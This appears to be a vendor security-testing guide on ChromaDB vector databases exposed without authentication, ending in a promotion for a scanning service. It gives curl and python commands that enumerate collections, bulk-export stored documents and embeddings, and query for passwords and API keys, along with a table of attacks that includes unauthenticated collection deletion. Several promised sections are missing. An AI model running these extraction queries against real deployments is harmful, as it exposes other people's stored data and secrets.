ChromaDB Security Testing: Unauthenticated FastAPI Server, Collection Access, and Embedding Exfiltration

ChromaDB is the most widely adopted open-source vector database among LLM developers, used extensively as the backing store for LangChain, LlamaIndex, and custom RAG applications. Its server mode exposes a FastAPI application on port 8000 with no authentication by default — the same open-source tool that developers run locally is frequently promoted to production without adding access controls; any network client can list all collections, retrieve every stored document chunk with its associated embedding vector and metadata (which typically includes source URLs, document titles, user IDs, and raw text content), delete collections, and enumerate all tenants; ChromaDB's multi-tenant architecture (introduced in v0.4) relies on the client providing a tenant name in the request with no server-side authorization, meaning any client can access data in any tenant; the FastAPI /docs endpoint exposes the full Swagger UI revealing all available endpoints; and ChromaDB's token-based authentication when enabled uses static tokens that are often committed to application configuration files. This guide covers systematic ChromaDB security assessment.

Table of Contents

  1. ChromaDB Discovery and API Testing
  2. Collection Enumeration
  3. Document and Embedding Exfiltration
  4. Multi-Tenant Isolation Testing
  5. Swagger UI Exposure
  6. ChromaDB Security Hardening

ChromaDB Discovery and API Testing

# ChromaDB server default port: 8000
# Check ChromaDB API (no auth required on default deployments)
curl -s http://chromadb.example.com:8000/api/v1 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print('ChromaDB API:', d)" 2>/dev/null

# Check if authentication is required
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  http://chromadb.example.com:8000/api/v1/collections 2>/dev/null)
echo "Collections endpoint: HTTP $HTTP_CODE"
# 200 = no auth; 401 = token auth enabled

# Check Swagger UI (always present unless explicitly disabled)
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  http://chromadb.example.com:8000/docs 2>/dev/null)
echo "Swagger UI: HTTP $HTTP_CODE"
# 200 = API documentation exposed, reveals all endpoints

Document and Embedding Exfiltration

# ChromaDB stores documents with their embeddings, metadata, and IDs
# The 'get' endpoint retrieves all stored items from a collection

COLLECTION_NAME="my_documents"

# Get all documents with their metadata and text (no auth required)
curl -s -X POST \
  "http://chromadb.example.com:8000/api/v1/collections/${COLLECTION_NAME}/get" \
  -H "Content-Type: application/json" \
  -d '{
    "include": ["documents", "metadatas", "embeddings"],
    "limit": 100
  }' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
docs = data.get('documents', [])
metas = data.get('metadatas', [])
ids = data.get('ids', [])
print(f'Documents retrieved: {len(docs)}')
for i in range(min(5, len(docs))):
    print(f'  id={ids[i] if i < len(ids) else \"?\"} meta={metas[i] if i < len(metas) else {}}')
    if docs[i]:
        print(f'  text: {str(docs[i])[:100]}')
" 2>/dev/null

# Semantic query to find sensitive stored content
curl -s -X POST \
  "http://chromadb.example.com:8000/api/v1/collections/${COLLECTION_NAME}/query" \
  -H "Content-Type: application/json" \
  -d '{
    "query_texts": ["password credentials secret API key"],
    "n_results": 10,
    "include": ["documents", "metadatas", "distances"]
  }' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
docs = data.get('documents',[[]]) [0]
dists = data.get('distances',[[]])[0]
for i, doc in enumerate(docs[:5]):
    print(f'  distance={dists[i]:.3f} text={str(doc)[:100]}')
" 2>/dev/null

ChromaDB Security Hardening

ChromaDB Security Hardening Checklist:
Security TestMethodRisk
FastAPI server unauthenticated collection accessGET /api/v1/collections — lists all collections and document counts without credentialsHigh
Document and embedding bulk exfiltrationPOST /api/v1/collections/{name}/get with include=["documents","metadatas"] — exports all RAG contentHigh
Semantic query reveals stored sensitive contentPOST /query with query_texts=["password","secret"] — finds sensitive stored document chunksHigh
Multi-tenant isolation bypassRequest with arbitrary tenant header — access collections of other tenants without authorizationHigh
Collection deletion without authDELETE /api/v1/collections/{name} — permanently removes a collection and all its dataHigh
Swagger UI exposes complete API surfaceBrowse /docs — reveals all API endpoints, parameters, and allows interactive testing without credentialsMedium

Automate ChromaDB Security Testing

Ironimo tests ChromaDB deployments for unauthenticated FastAPI server access enabling collection enumeration and full document exfiltration, semantic query attacks inferring stored sensitive content via embedding similarity, multi-tenant isolation bypass using arbitrary tenant parameters, collection deletion by unauthorized clients, Swagger UI exposure revealing the complete API attack surface, and static token authentication tokens embedded in application configuration files.

Start free scan